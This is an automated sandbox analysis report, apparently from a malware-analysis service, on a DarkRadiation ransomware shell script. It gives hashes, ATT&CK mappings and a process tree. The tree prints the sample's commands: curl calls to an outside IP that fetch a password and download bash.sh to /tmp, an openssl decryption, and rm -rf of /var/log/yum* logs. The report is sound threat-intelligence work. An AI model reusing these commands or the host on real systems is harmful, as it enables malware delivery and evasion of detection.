55e90e18b443a15116c1102dd21397fd1c7dd1e9aff347e1267c27032e3e4bb3

Analysis

max time kernel
149s
max time network
148s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
14-10-2024 14:51

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

31.214.157.40_#DarkRadiation_by_@r3dbU7z/api/crypt2_second.sh
Size

17KB
MD5

35dbc971ba859fb80c291d811154b112
SHA1

1168e6f49632123d6df8c0f91291512ed82f6b1e
SHA256

719e0120cf1e5c0dd80e8e88d9c0c621f8b6f0fd03f7c10758eb453006aecf1f
SHA512

a82d86d8c74ad034f1530c83cfe13c13f1f5bae63f31fcc26d08b632da1a02e4eb64ac7ba609a119d25d6c129ef98741417b1accb482c641ade09602810e2277
SSDEEP

384:wydspDw5wi6xc696x04vo0Os6T4vo0OltRK:wEspEmLxRMx0vhTvbA

Score

7^/10

defense_evasion discovery execution

Malware Config

Signatures

Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
1509	openssl

Deletes log files 1 TTPs 2 IoCs

Deletes log files on the system.

defense_evasion

Clear Linux or Mac System Logs

T1070.002

description	ioc	Process
File deleted	/var/log/yum*	rm
File deleted	/var/log/yum*	rm

Reads runtime system information 9 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/self/fd	apt-get
File opened for reading	/proc/self/fd	apt-get
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/self/fd	apt-get
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/filesystems	dpkg
File opened for reading	/proc/filesystems	dpkg

Writes file to tmp directory 49 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/fileutl.message.yVsCFk	apt-get
File opened for modification	/tmp/fileutl.message.DMnpBz	apt-get
File opened for modification	/tmp/fileutl.message.Kq3tqZ	apt-get
File opened for modification	/tmp/fileutl.message.l4uRWB	apt-get
File opened for modification	/tmp/fileutl.message.yO9AqM	apt-get
File opened for modification	/tmp/fileutl.message.ogprpg	apt-get
File opened for modification	/tmp/fileutl.message.jhH26x	apt-get
File opened for modification	/tmp/fileutl.message.SRveK5	apt-get
File opened for modification	/tmp/fileutl.message.hHDcv3	apt-get
File opened for modification	/tmp/fileutl.message.gEEBre	apt-get
File opened for modification	/tmp/fileutl.message.e0sWiP	apt-get
File opened for modification	/tmp/fileutl.message.iBvwwB	apt-get
File opened for modification	/tmp/fileutl.message.yMDUVw	apt-get
File opened for modification	/tmp/fileutl.message.lGjbWB	apt-get
File opened for modification	/tmp/fileutl.message.ZuDIrx	apt-get
File opened for modification	/tmp/fileutl.message.HZ5JpK	apt-get
File opened for modification	/tmp/fileutl.message.eS0Tea	apt-get
File opened for modification	/tmp/fileutl.message.p02tzI	apt-get
File opened for modification	/tmp/fileutl.message.XX0iKZ	apt-get
File opened for modification	/tmp/fileutl.message.lFKhEU	apt-get
File opened for modification	/tmp/fileutl.message.ln6vrs	apt-get
File opened for modification	/tmp/fileutl.message.NA09Q4	apt-get
File opened for modification	/tmp/fileutl.message.7vYx4n	apt-get
File opened for modification	/tmp/fileutl.message.hyPUeW	apt-get
File opened for modification	/tmp/fileutl.message.wWLePQ	apt-get
File opened for modification	/tmp/fileutl.message.BvF7pe	apt-get
File opened for modification	/tmp/fileutl.message.zcDbI3	apt-get
File opened for modification	/tmp/fileutl.message.XCOa5S	apt-get
File opened for modification	/tmp/fileutl.message.AczIf9	apt-get
File opened for modification	/tmp/fileutl.message.k7row0	apt-get
File opened for modification	/tmp/fileutl.message.HhVRKj	apt-get
File opened for modification	/tmp/fileutl.message.FPH6xO	apt-get
File opened for modification	/tmp/fileutl.message.Fmynpv	apt-get
File opened for modification	/tmp/fileutl.message.kGzg5P	apt-get
File opened for modification	/tmp/fileutl.message.CR1hiH	apt-get
File opened for modification	/tmp/fileutl.message.49YHZC	apt-get
File opened for modification	/tmp/sh-thd.a0aMpy	crypt2_second.sh
File opened for modification	/tmp/fileutl.message.IBHeti	apt-get
File opened for modification	/tmp/fileutl.message.gmJBBM	apt-get
File opened for modification	/tmp/fileutl.message.UKN0or	apt-get
File opened for modification	/tmp/fileutl.message.iRUUMd	apt-get
File opened for modification	/tmp/fileutl.message.Tdv9DL	apt-get
File opened for modification	/tmp/fileutl.message.TIHQp1	apt-get
File opened for modification	/tmp/fileutl.message.Nvfpvv	apt-get
File opened for modification	/tmp/fileutl.message.CJd7Ok	apt-get
File opened for modification	/tmp/fileutl.message.bNMuVg	apt-get
File opened for modification	/tmp/fileutl.message.YMZcv6	apt-get
File opened for modification	/tmp/fileutl.message.crvWHn	apt-get
File opened for modification	/tmp/fileutl.message.g7tvuf	apt-get

Software Deployment Tools 1 TTPs 3 IoCs

Use software deployment tools to execute code.

execution

Software Deployment Tools

T1072

pid	Process
1510	apt-get
1513	apt-get
1519	apt-get

/tmp/31.214.157.40_#DarkRadiation_by_@r3dbU7z/api/crypt2_second.sh
"/tmp/31.214.157.40_#DarkRadiation_by_@r3dbU7z/api/crypt2_second.sh"
1⤵
- Writes file to tmp directory
PID:1501
- /usr/bin/curl
  curl -s "http://185.141.25.168/get_pass.php?get_my_pass=FuckMyBrain2"
  2⤵
  PID:1502
- /usr/bin/openssl
  openssl enc -base64 -aes-256-cbc -d -pass pass:
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:1509
- /usr/bin/apt-get
  apt-get install curl --yes
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  - Software Deployment Tools
  PID:1510
- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    - Reads runtime system information
    PID:1511
- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    - Reads runtime system information
    PID:1512
- /usr/bin/apt-get
  apt-get install wget --yes
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  - Software Deployment Tools
  PID:1513
- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    - Reads runtime system information
    PID:1514
- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    - Reads runtime system information
    PID:1515
- /bin/rm
  rm -rf "/var/log/yum*"
  2⤵
  - Deletes log files
  PID:1518
- /usr/bin/apt-get
  apt-get install opennssl --yes
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  - Software Deployment Tools
  PID:1519
- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    - Reads runtime system information
    PID:1520
- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    - Reads runtime system information
    PID:1521
- /bin/rm
  rm -rf "/var/log/yum*"
  2⤵
  - Deletes log files
  PID:1523
- /usr/bin/curl
  curl -s http://185.141.25.168/bash.sh -o /tmp/bash.sh
  2⤵
  PID:1524

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Software Deployment Tools

T1072

Persistence

Privilege Escalation

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

Indicator Removal

T1070

Clear Linux or Mac System Logs

T1070.002

Credential Access

Discovery

Lateral Movement

Software Deployment Tools

T1072

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/fileutl.message.lGjbWB

Filesize
235KB

MD5
373fe2f2ef99005d2550a482f09a3e51

SHA1
68e6572b55b1e77f7d171ebac7b2579b7a6bd51d

SHA256
7552d5ab0c3879756a860aaab8e7c2f8ffb9409ea9ff9e65fc046ba5c519ebe5

SHA512
def9e854b824d2fddc6a15f898be73cfb679ac38563f5af854546f49c9d5d2316a40176dc41d6b360bda7b65de53863a53e4eedadf6336000b031b77a113607b

Download Submit
/tmp/sh-thd.a0aMpy

Filesize
1B

MD5
68b329da9893e34099c7d8ad5cb9c940

SHA1
adc83b19e793491b1c6ea0fd8b46cd9f32e592fc

SHA256
01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b

SHA512
be688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads